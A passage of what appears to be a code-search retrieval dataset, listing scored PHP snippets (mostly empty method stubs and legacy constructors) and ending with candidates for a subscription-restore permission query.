"52925d0872111e5894fd83800e1f07fe", "score": "0.5679648", "text": "protected function _update()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "50ffdb8b32b7d2b58f8c2ffbcc1f9a75", "score": "0.567632", "text": "function esomismo(){\n\n }", "title": "" }, { "docid": "7fbb83c0902943c3527c999d71b84fca", "score": "0.56541276", "text": "abstract public function perimetro();", "title": "" }, { "docid": "7827e846877bc8a22fc5aebe75183b6d", "score": "0.56455165", "text": "public function getPunkte1();", "title": "" }, { "docid": "c3d99dbba7770ef1bd0f26296fb27482", "score": "0.56445116", "text": "function cl_orcprojativ() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"orcprojativ\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "bd7a88b75f31784f1e6d53317d7a13a8", "score": "0.56140554", "text": "public function gete();", "title": "" }, { "docid": "9259c485ad5627e9efa142e6a7bbd63c", "score": "0.5607676", "text": "protected function editar()\n {\n }", "title": "" }, { "docid": "6b0e9b843aafd777591b3ea501a89aeb", "score": "0.5604097", "text": "public function dodajTacku(){\n\n \t}", "title": "" }, { "docid": "96ed8afda8434d9467948b5cd4efaeec", "score": "0.5583357", "text": "public function __(){\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "0c559e405b9ea627c17927fcf92c594c", "score": "0.55655116", "text": "function wahlcode_erstellen();", "title": "" }, { "docid": "8e4fc514db8b4dc95d74eaa472b4b340", "score": "0.5558224", "text": "public function getPunkte2();", "title": "" }, { "docid": "83a1a8f87f22576b3b30eb4e7827a406", "score": "0.5553282", "text": "public function Modify()\r\n {\r\n }", "title": "" }, { "docid": "ac10efba3e9a5b0440bbb60742387cb4", "score": "0.5527501", "text": "function cl_turmamedicaodidaticopedagogica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"turmamedicaodidaticopedagogica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "9145d146e8ae3c7bd9a46728ec668c4d", "score": "0.55148596", "text": "public function neueEvolutionstheorie(){\n\n }", "title": "" }, { "docid": "d21a3154f8b0cbc5e252e5685a30449a", "score": "0.54589736", "text": "function Camion(){\n // se referencia a la propia clase\n // -> ->referenciar a una propiedad o metodo de una clase \n $this->ruedas=8;\n $this->color=\"gris\";\n $this->motor=2600;\n\n \n // return \"{$this->ruedas} {$this->color} {$this->motor}\";\n }", "title": "" }, { "docid": "286cb3f89b2644efb793134797c41571", "score": "0.54525393", "text": "public function promeniUnutrasnjuBoju (){\n\n \t}", "title": "" }, { "docid": "6efea364841d1150941fb01d1214f307", "score": "0.54482085", "text": "function cl_rhempenhofolhaexcecaorubrica() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhempenhofolhaexcecaorubrica\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "2dceddff6c01bc7d9ae08a7206696e48", "score": "0.5440116", "text": "public function andar(){\n\n\t\t}", "title": "" }, { "docid": "2dceddff6c01bc7d9ae08a7206696e48", "score": "0.5440116", "text": "public function andar(){\n\n\t\t}", "title": "" }, { "docid": "9de7af0d8d901e41281b5f46f6f9b26c", "score": "0.54349524", "text": "static function RespaldarBd\n\t(\n\t);", "title": "" }, { "docid": "adad34dcb75c9b14e4fbbe75b812de19", "score": "0.53974605", "text": "public function kontak()\n {\n }", "title": "" }, { "docid": "a19609ed10e170420979b98c22b131a9", "score": "0.5377379", "text": "function cursoEsgotado(){\n}", "title": "" }, { "docid": "65667e5389f7b7e9929b538613ffba02", "score": "0.53675854", "text": "private function izvuciDan() {\r\n $this->DD = self::$JMBG[0] . self::$JMBG[1];\r\n }", "title": "" }, { "docid": "6487f5e8fc8da1321bebdcf0703581f8", "score": "0.536461", "text": "function cl_procjurjudicialadvog() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"procjurjudicialadvog\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "dc4e10a9cb3483a397c947e5e01a395a", "score": "0.5355716", "text": "abstract protected function edit();", "title": "" }, { "docid": "50241f6aec5a596d40192db71b219831", "score": "0.5355624", "text": "function cl_db_registrosinconsistentesdados() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"db_registrosinconsistentesdados\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "70c1323ba3a0123ebe401c94cfc4a166", "score": "0.5353645", "text": "public function getTore1();", "title": "" }, { "docid": "060e23c2e534e032c218e58aeff9babb", "score": "0.53534365", "text": "function cl_empreendimentoatividadeimpacto() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"empreendimentoatividadeimpacto\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "308b8b8aaf3fc4e68461a99f5bd29765", "score": "0.53524494", "text": "public function Snoopy()\t{\r\n\t\t\r\n\t\t\r\n\t}", "title": "" }, { "docid": "7593bf4b66388d1c670d2e2d388da151", "score": "0.5347356", "text": "protected function encendido()\n {\n }", "title": "" }, { "docid": "412cd0222cbcf7288cbefdfa8d2717a9", "score": "0.53435665", "text": "function shenGao()\n {\n }", "title": "" }, { "docid": "708d4c435b7f962f6c5689793a35cfbb", "score": "0.5341704", "text": "function cl_liberafornecedor() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"liberafornecedor\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "2b30201607db4f4e7fc77745bac984b6", "score": "0.53387654", "text": "function cl_rhconsignadomovimentomanual() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhconsignadomovimentomanual\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "6a739b2160b65f2080fa0fdbfbce064d", "score": "0.53348064", "text": "public function getMannschaft1();", "title": "" }, { "docid": "0c86ff88faa771a6905d760e79bb240b", "score": "0.5333731", "text": "private function izvuciGodinu() {\r\n $this->GGG = self::$JMBG[4] . self::$JMBG[5] . self::$JMBG[6];\r\n }", "title": "" }, { "docid": "90deca2c510d69d65386488f08fef45b", "score": "0.5329951", "text": "public function data_siswa()\n {\n }", "title": "" }, { "docid": "f7aec7d76577c9ed0b7b186636342a18", "score": "0.53282684", "text": "public function obtenePluspagado();", "title": "" }, { "docid": "bf9ed6358d0fc6c0f594bc6fb617df39", "score": "0.53245604", "text": "public function bersuara(){\n return \"Miaww\";\n }", "title": "" }, { "docid": "f5a028cc6b2e3ec3b49305fa01b88c71", "score": "0.53219783", "text": "function cl_conplanoextra() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"conplanoextra\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "5a641511de087b0f1e51eeb0eb1cc88e", "score": "0.5316713", "text": "function cl_levantamentopatrimonial() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"levantamentopatrimonial\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "c86ec63c775a70019bbad2575d05e3a4", "score": "0.530954", "text": "function cl_extratolinha() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"extratolinha\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "79479cbd97c91747c662818ae596f065", "score": "0.53043544", "text": "public function moderate() \n {\n }", "title": "" }, { "docid": "871a56d00d57b16489abc5c245674e34", "score": "0.5294526", "text": "abstract function extrato();", "title": "" }, { "docid": "9c1eabbb4c87fdad32d52bbb63ce5d6c", "score": "0.529331", "text": "function cl_gerfs13() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"gerfs13\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "4fb9714cf66661bb8444f882da877444", "score": "0.5293194", "text": "function Camion() {\n //Con la flecha se refencia o una propiedad o un metodo de la clase\n $this->ruedas=4;\n $this->color='';\n $this->motor=1600;\n\n }", "title": "" }, { "docid": "97c03813e97a1108f1c43e40e9110da8", "score": "0.5291556", "text": "public function modify();", "title": "" }, { "docid": "195f6948d912e8666b59b79a91c5b302", "score": "0.527885", "text": "function emplois_autoriser(){}", "title": "" }, { "docid": "52823edefc144177f58dc6cdb86e6453", "score": "0.5269768", "text": "public function leocay()\n {\n }", "title": "" }, { "docid": "f0b035034d6fc96308cf89c0de730528", "score": "0.52643436", "text": "function cl_cgs_undalt() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"cgs_undalt\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "f3f5a6427dbba6a2c1d30b0bbb6ba248", "score": "0.5248967", "text": "function cl_empagenotasordem() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"empagenotasordem\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "eb3cf73637c203611e1b0a73c0f07963", "score": "0.5246004", "text": "public function preUpdate()\n {\n $this->fechmodi = new \\DateTime();\n $this->cedu = Utility::upperCase($this->cedu);\n $this->naci = Utility::upperCase($this->naci);\n $this->nomb = Utility::upperCase($this->nomb);\n $this->apell = Utility::upperCase($this->apell);\n $this->profesionFix = Utility::upperCase($this->profesionFix);\n $this->correo = Utility::lowerCase($this->correo);\n }", "title": "" }, { "docid": "3f5bb484a09a77df876ce2aeac953733", "score": "0.52445316", "text": "public function beforeSave()\n\t{\n\t\t$this->FuncionesNomDia=ucwords(strftime($this->dias[date('w',strtotime ($this->FuncionesFecHor))]));\n\t\treturn parent::beforeSave();\n\t}", "title": "" }, { "docid": "8c19639783bfb24c49bb53892396dae1", "score": "0.524354", "text": "function cl_rhgeracaofolha() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"rhgeracaofolha\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "824ae06a078c30c5a6d8a298441eb5f2", "score": "0.52435106", "text": "public function Opciones() {\n \n }", "title": "" }, { "docid": "ab4281a31c02d21e66fcdd37f0551917", "score": "0.5239344", "text": "function cl_acordoitemdotacao() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"acordoitemdotacao\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "c5965fec177b37b50a0f1bac9ef6ccd4", "score": "0.5231124", "text": "function cl_issnotaavulsaservico() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"issnotaavulsaservico\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "25cd72dcc96b2e9e094ce3dd46f706d4", "score": "0.52303755", "text": "function pertePv()\n {\n }", "title": "" }, { "docid": "a0734525f92bb0c04902316437e12628", "score": "0.5229705", "text": "function cl_ouvidoriaatendimentoretorno() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"ouvidoriaatendimentoretorno\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "8b2778e3f624e45309276c7efb56c4cd", "score": "0.522908", "text": "function cl_acordoitemvinculo() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"acordoitemvinculo\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "85b2bba69e3cfbb1c4577fe9f4dd28f0", "score": "0.5225391", "text": "function cl_planilhadistribuicaodepart() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"planilhadistribuicaodepart\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "350dc041fafee7510aa063d4015df2df", "score": "0.52219325", "text": "function cl_regimemat() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"regimemat\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "31521e41bf145793276bdcbddb977d5f", "score": "0.5207456", "text": "function cl_matriculadependencia() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"matriculadependencia\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "62fa9449b7a36eef0ffea36c8150092d", "score": "0.52061075", "text": "function cl_landesc() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"landesc\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "aa2c7039ad3d014b4c1d9211286f360c", "score": "0.52056617", "text": "function cl_lotecemit() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"lotecemit\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "dfb23e5b05d3d35c2880adecfab8d266", "score": "0.5205204", "text": "function mc3_inventaire_autoriser(){}", "title": "" }, { "docid": "04e7fc583e614a1d42788a430897e289", "score": "0.5201882", "text": "public function adjuster();", "title": "" }, { "docid": "908f6174713274ac09d3679c6dbb7bdf", "score": "0.51999974", "text": "function cl_administracaomedicamento() {\n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"administracaomedicamento\");\n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "a1965097a388f24efb5451d07351bd63", "score": "0.51972264", "text": "abstract public function nyalakanMesin();", "title": "" }, { "docid": "30c4c82eb8fedbd970a0749cda4fa173", "score": "0.51959264", "text": "public function promeniStilIvice (){\n\n \t}", "title": "" }, { "docid": "33cfe58e387f3b849debf232d79e3e31", "score": "0.51946175", "text": "static function poner_descuento(){\n if(date('m-d-y') > '10-22-20'){//Uso de la funcion date para obteber el formato de mes, dia y aņo\n self::$descuento = 4500; \n }\n }", "title": "" }, { "docid": "64f50ded1875a66f517c9cee1ad71a0c", "score": "0.5188732", "text": "public function getMannschaft2();", "title": "" }, { "docid": "c885884531d224be68b54ff77f2eddf0", "score": "0.5174996", "text": "function kode_posisi() {\r\n }", "title": "" }, { "docid": "8ddd9c18e699b094dc4a444d35964ed2", "score": "0.5171677", "text": "function cl_empagemod() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"empagemod\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "42936b9c12e3359a5c4dd08b6a188025", "score": "0.51692617", "text": "function cl_traconduttaxi() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"traconduttaxi\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "d86a74a377458a019074909df5febcbb", "score": "0.5164795", "text": "private function izvuciMesec() {\r\n $this->MM = self::$JMBG[2] . self::$JMBG[3];\r\n }", "title": "" }, { "docid": "ce7f13be66627fd8b6a0196df9a88a22", "score": "0.51597303", "text": "function cl_edital() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"edital\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "a8d84a1f19c284ca952018d32b2881dd", "score": "0.5157583", "text": "function langonet_autoriser(){}", "title": "" }, { "docid": "b5351bb10453c0bd9de3974b9fa21826", "score": "0.51536876", "text": "function cl_obrasalvarahistorico() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"obrasalvarahistorico\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "d0994bd7a5b9a858686ecbf369c0e620", "score": "0.51474756", "text": "function cl_tarefa_lancprorrog() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"tarefa_lancprorrog\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "5de97e59da18e135b8e16d6b87a61651", "score": "0.51458573", "text": "public function admin_prodi_modal_mahasiswa() {\n\n \t\t}", "title": "" }, { "docid": "a412fee31312dea0570ac14a78d15eac", "score": "0.5140792", "text": "function cl_integracaohorusenvio() { \n //classes dos rotulos dos campos\n $this->rotulo = new rotulo(\"integracaohorusenvio\"); \n $this->pagina_retorno = basename($GLOBALS[\"HTTP_SERVER_VARS\"][\"PHP_SELF\"]);\n }", "title": "" }, { "docid": "633ad96568b15cad4c5deb1a1aec7d3a", "score": "0.51402104", "text": "public function getTore2();", "title": "" }, { "docid": "b6e69ba89bb2a26a0baa127960012c81", "score": "0.51388246", "text": "abstract public static function atualizar();", "title": "" }, { "docid": "a0b3179ef92ae9655d6599652528f77d", "score": "0.513774", "text": "function Coche() {\n //Con la flecha se refencia o una propiedad o un metodo de la clase\n $this->ruedas=4;\n $this->color='';\n $this->motor=1600;\n\n }", "title": "" }, { "docid": "612d25dcec364aaa814bba0ca57a5647", "score": "0.5135848", "text": "public function sava(){\n\n }", "title": "" }, { "docid": "1bdb3025b124caf6071067cf00eaa611", "score": "0.5128721", "text": "abstract protected function update();", "title": "" } ]
bbe7cb2932c11f38d9bdd199b7a80780
Determine whether the user can restore the subscription.
[ { "docid": "9ab770d7916b2926c21f98e5668fe2f1", "score": "0.53741837", "text": "public function restore(User $user, Subscription $subscription)\n {\n //\n }", "title": "" } ]
[ { "docid": "2ce75896794ded60295ba6d9223f4b13", "score": "0.7810944", "text": "public function restore()\n {\n return auth()->user()->can('post_restore');\n }", "title": "" }, { "docid": "7068ac4620ad2018215ae9dd690933e7", "score": "0.6898465", "text": "public static function restoreEnabled() {\n\t\treturn defined('RESTORE_POLICY')\n\t\t\t&& (RESTORE_POLICY === 'always' || RESTORE_POLICY == date('Y-m-d'));\n\t}", "title": "" }, { "docid": "a78203c53877f257e50c35f6961bfc4a", "score": "0.6665563", "text": "static public function is_password_restore_allowed() {\n return true;\n }", "title": "" }, { "docid": "c12630a53f81fbf222cd5d28d57f89a3", "score": "0.6595453", "text": "public function restore(User $user): bool\n {\n return $user->can('Restore Station');\n }", "title": "" }, { "docid": "85cbba19e9ac2578e894038c96ac1952", "score": "0.60396767", "text": "public function SubscriptionSaved()\n {\n if (Session::get('SubscriptionSaved')) {\n Session::clear('SubscriptionSaved');\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "33c27db80e586a38235960cc905a2d56", "score": "0.5906195", "text": "public function hasRestoretime(){\n return $this->_has(10);\n }", "title": "" }, { "docid": "aca274719a3a18c035d27f62c0b53d3f", "score": "0.58713853", "text": "public function isSubscription();", "title": "" }, { "docid": "69522e1065cfb75cec2677212d1c2aa9", "score": "0.58299273", "text": "public function restore(User $user, User $model)\n {\n return $user->hasPermission('restore-system-user');\n }", "title": "" }, { "docid": "92666ba4b65b079530cb319187570681", "score": "0.5827072", "text": "public function restore(User $user, Product $product)\n {\n $permission = sprintf(\"%s products\", __FUNCTION__);\n\n return has_permission($user, $permission);\n }", "title": "" }, { "docid": "162158e6e5d770bcafd349cf9022ea6b", "score": "0.5785118", "text": "public function restore(User $user, Biodata $biodata)\n {\n return $user->hasPermission('restore-myprofile-biodata');\n }", "title": "" }, { "docid": "2c04d530376bfcdb7e42a2fbef5834a5", "score": "0.57618755", "text": "public function isSubscription()\n {\n return $this->type == 'subscription';\n }", "title": "" }, { "docid": "42683dba084e6d83b37232649a77c00e", "score": "0.5701001", "text": "public function restore(User $user, Biotype $biotype)\n {\n return $user->hasPermission('restore-reference-biotype');\n }", "title": "" }, { "docid": "8ba681103dc5babff01dcd72be58d9cd", "score": "0.5680758", "text": "public function isSpreedlySubscription() {\n $isSpreedly = false;\n if(strlen($this->subscriberToken) > 2) {\n $isSpreedly = true;\n }\n return $isSpreedly;\n }", "title": "" }, { "docid": "56a769722e112979a2ee9b7d44966048", "score": "0.56621814", "text": "public function restore(User $user, Report $report)\n {\n if ($report->user_id === $user->id) {\n return true;\n }\n\n return $user->can('restore-report');\n }", "title": "" }, { "docid": "d7bc287a02e786d94b7828ca201f8d4b", "score": "0.56615573", "text": "public function restore(User $user, MembershipAgreementTemplate $template): bool\n {\n return $user->can('update-membership-agreement-templates');\n }", "title": "" }, { "docid": "873f0d8805faf82004b10ad2146f37db", "score": "0.5643212", "text": "public function issubscriber(){\n if ($this->role) {\n # code...\n if ($this->role->name=='subscriber') {\n # code...\n return true;\n }else{\n return false;\n }\n }\n return false;\n \n }", "title": "" }, { "docid": "119b97247345300f3c19b08fd2af00c4", "score": "0.5614496", "text": "public function restore() {\n $id = \\Input::get('id');\n if($subscriber = Subscriber::onlyTrashed()->find($id)) {\n $subscriber->restore();\n } else {\n // does not exist or is already restored\n }\n }", "title": "" }, { "docid": "ea739ccf4603f71fda0b183525636ae5", "score": "0.5610024", "text": "public function restore(User $user, Role $role): bool\n {\n return $user->can('write-roles-and-permissions');\n }", "title": "" }, { "docid": "4fd9af15c07c33c32b7b5fffcf762a6d", "score": "0.56076103", "text": "public function restore(User $user, Player $player)\n {\n return $user->hasRole('super_administrator');\n }", "title": "" }, { "docid": "67bd5504a3f989ef95297a9eeb7c12f0", "score": "0.5597762", "text": "public function restore(User $user, Post $post) {\n return $user->hasPermission('post.destroy') and $post->isRestoreableByUser($user);\n }", "title": "" }, { "docid": "0db0d807f052f9d0d65798ca77854311", "score": "0.5584251", "text": "public function restore(User $user, ContactMessage $contactMessage)\n {\n return $user->can('restore_contact::message');\n }", "title": "" }, { "docid": "346e43c78d2128a89a44704fbff892ae", "score": "0.5577018", "text": "public function getIsSubscription() { return $this->isSubscription; }", "title": "" }, { "docid": "8a13ac59a74b9739edbcfcfed9eefbff", "score": "0.55486774", "text": "public function isCartSubscriptionEnabled(){\n\t\treturn (boolean) Mage::getStoreConfig('customweb_subscription/cart/enabled');\n\t}", "title": "" }, { "docid": "9c72b7951fee9bca0e1beeb9d6856525", "score": "0.5542661", "text": "public function restore(User $user)\n {\n return $user->isAdmin();\n }", "title": "" }, { "docid": "c785f2f45e55ed25901f9aaddd03e7af", "score": "0.5516302", "text": "public function isCartOnlySubscription(){\n if(Mage::getSingleton('mysubscription/cart')->getMsquote()->getId()){\n /*\n * Check if the regular cart has any items in it\n * */\n if(Mage::getSingleton('checkout/session')->getQuote()->getItemsCount() > 0){\n return false;\n }else{\n return true;\n }\n }else{\n return false;\n }\n\n }", "title": "" }, { "docid": "c453aefea871f36f108f81cc5b641cea", "score": "0.5512221", "text": "public function restoreAny(User $user)\n {\n return $user->can('restore_any_contact::message');\n }", "title": "" }, { "docid": "fe826037459851c67f777e433af0d31e", "score": "0.5502413", "text": "public function restore(User $user, Distributor $distributor)\n {\n return in_array($user->role->id, [Role::SUPER_ADMIN, Role::GENERAL_ADMIN]);\n }", "title": "" }, { "docid": "cadfc219dea18156e7d0c4cedb50c112", "score": "0.54895633", "text": "public function restore(User $user, Banner $banner)\n {\n if ($user->is($banner->create_user)) {\n return true;\n }\n\n if ($user->can('banner-restore')) {\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "a3c1925dd02ea2963400c54292b2b977", "score": "0.5482009", "text": "function check_subscriber(){\r\n\t\tglobal $current_user;\r\n\t\treturn $current_user->caps['subscriber'];\r\n\t}", "title": "" }, { "docid": "7d484fe27e469da338ce25f0193feb5d", "score": "0.5475371", "text": "function ovr_check_if_product_is_subscription($product_obj){\r\n\r\n\tif( $product_obj->get_type() == 'subscription' ){\r\n\t\treturn true;\r\n\t}\r\n\r\n\treturn false;\r\n}", "title": "" }, { "docid": "6d6d05bc71d429212e3e8f47da86b00c", "score": "0.5446686", "text": "function ba_is_subscriber() {\n\t$current_user = wp_get_current_user();\n\t$role = @$current_user->roles[0];\n\n\treturn $role == 'subscriber';\n}", "title": "" }, { "docid": "59d9d0b94dce5ee51b5f87c8439702d2", "score": "0.54362583", "text": "function maybe_woo_subs_activated() {\n\treturn function_exists( 'wcs_is_subscription' );\n}", "title": "" }, { "docid": "b2300616c28f20ca84616d5289bd5069", "score": "0.54340535", "text": "public function restore(User $user, ResProduct $model)\n {\n return false;\n }", "title": "" }, { "docid": "2c0b82ea5364283fddded97aa7b2d0e8", "score": "0.541655", "text": "public function isCaptureAllowed()\n\t{\n\t\treturn Mage::getSingleton('admin/session')->isAllowed('sales/order/actions/capture');\n\t}", "title": "" }, { "docid": "e5fdb299825b54c7d95f92803d8eeb9c", "score": "0.5403522", "text": "public function isReviewer()\n {\n // If they are an admin, they can review\n if ($this->session->admin) {\n return true;\n }\n\n $query = $this->db->select()\n ->where('user_id', $this->id)\n ->get('dept_reviewer');\n\n if ($query->num_rows() !== 0) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "1999de21c95fd8eb0c1fcc3b41af18b5", "score": "0.5374226", "text": "protected function isAccess(): bool\n {\n $checkpoint = (new QualityCheckpoint())\n ->setShallValue($this->routeCheckpoint['roles'])\n ->setIsValue($this->user->getRoles())\n ->setResult();\n return $checkpoint->getResult();\n }", "title": "" }, { "docid": "c09ae4ef9a640ac874fbbb07cfd7d095", "score": "0.5363686", "text": "public function canManageRecurringProfiles()\n {\n return $this->_canManageRecurringProfiles\n && ($this instanceof Mage_Payment_Model_Recurring_Profile_MethodInterface);\n }", "title": "" }, { "docid": "397740eae7c16ea0d076aa92af466b3a", "score": "0.5350408", "text": "public function restore(User $user, ExpesesResturant $model)\n {\n return false;\n }", "title": "" }, { "docid": "ea3ac93c7c1836d83956aac083a8e660", "score": "0.5345458", "text": "function scorm_restore_logs($restore,$log) {\n\n $status = true;\n\n return $status;\n }", "title": "" }, { "docid": "ea3ac93c7c1836d83956aac083a8e660", "score": "0.5345458", "text": "function scorm_restore_logs($restore,$log) {\n\n $status = true;\n\n return $status;\n }", "title": "" }, { "docid": "1ac3821a6092748a4b62c2ab07489f98", "score": "0.53422266", "text": "public function restore(User $user, CrewMember $crewMember)\n {\n return false;\n }", "title": "" }, { "docid": "b505d8867ddf1f97d8fc95d6f2da85e3", "score": "0.53350836", "text": "public function resumeSubscription () {\n $subscription = request()->user()->subscription(request('plan'));\n if ($subscription->cancelled()) {\n request()->user()->subscription(request('plan'))->resume();\n return back()->with('message', ['success', __(\"Has reanudado tu suscripción correctamente\")]);\n }\n return back()->with('message', ['danger', __(\"La suscripción no se puede reanudar, consulta con el administrador\")]);\n }", "title": "" }, { "docid": "e852269e60fd38a96b228c053d301b57", "score": "0.53179085", "text": "public function canBeRedeemed(): bool\n {\n return ! $this->isExpired() && ! $this->isSoldOut() && ! $this->hasRestrictedUsage();\n }", "title": "" }, { "docid": "8e352fc35b65f008d13038c794b5b280", "score": "0.5301405", "text": "public function IsRecoverable()\n\t{\n\t\treturn ($this->GetConfig('password_rescue') > 0);\n\t}", "title": "" }, { "docid": "1d39d4bad34736a30409fc843543d50d", "score": "0.5298888", "text": "public function getIsRevoked()\n {\n if (array_key_exists(\"isRevoked\", $this->_propDict)) {\n return $this->_propDict[\"isRevoked\"];\n } else {\n return null;\n }\n }", "title": "" }, { "docid": "823b641ee575205d2372cffb189382ca", "score": "0.5292673", "text": "public function can_activate(): bool;", "title": "" }, { "docid": "9406b2f14b2ff4ff4f220064433d02d7", "score": "0.52845263", "text": "public function restore(User $user, SaleOrderItem $saleOrderItem)\n {\n //\n return true;\n }", "title": "" }, { "docid": "78dfa449c80adda56ab28dba1767d494", "score": "0.52765256", "text": "function ovr_check_user_subscription($user_id){\r\n\r\n\t$user_subscriptions = wcs_get_users_subscriptions( $user_id );\r\n\r\n\t$has_subscription = false;\r\n\t\r\n\tif ( ! empty( $user_subscriptions ) ) {\r\n\t\tforeach ($user_subscriptions as $key => $value) {\r\n\t\t\t$subscription_status = $value->post_status;\t\t\t\t\t\r\n\t\t\t$subscription_period = get_post_meta($key,'_billing_period', true);\r\n\t\t\t$subscription_interval = get_post_meta($key,'_billing_interval', true);\r\n\r\n\t\t\tif( isset($subscription_status) && $subscription_status == 'wc-active' && isset($subscription_period) && $subscription_period == 'month' && isset($subscription_interval) && $subscription_interval == '1' ){\r\n\t\t\t\t$has_subscription = true;\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\treturn $has_subscription;\r\n}", "title": "" }, { "docid": "85d2a09c68ec2a0660da2fa527a6034a", "score": "0.5270891", "text": "public function restore(User $user)\n {\n return $this->checkPermission($user, PolicyMethod::DELETE);\n }", "title": "" }, { "docid": "dcc4e2412209eb94682452a402f2ce2d", "score": 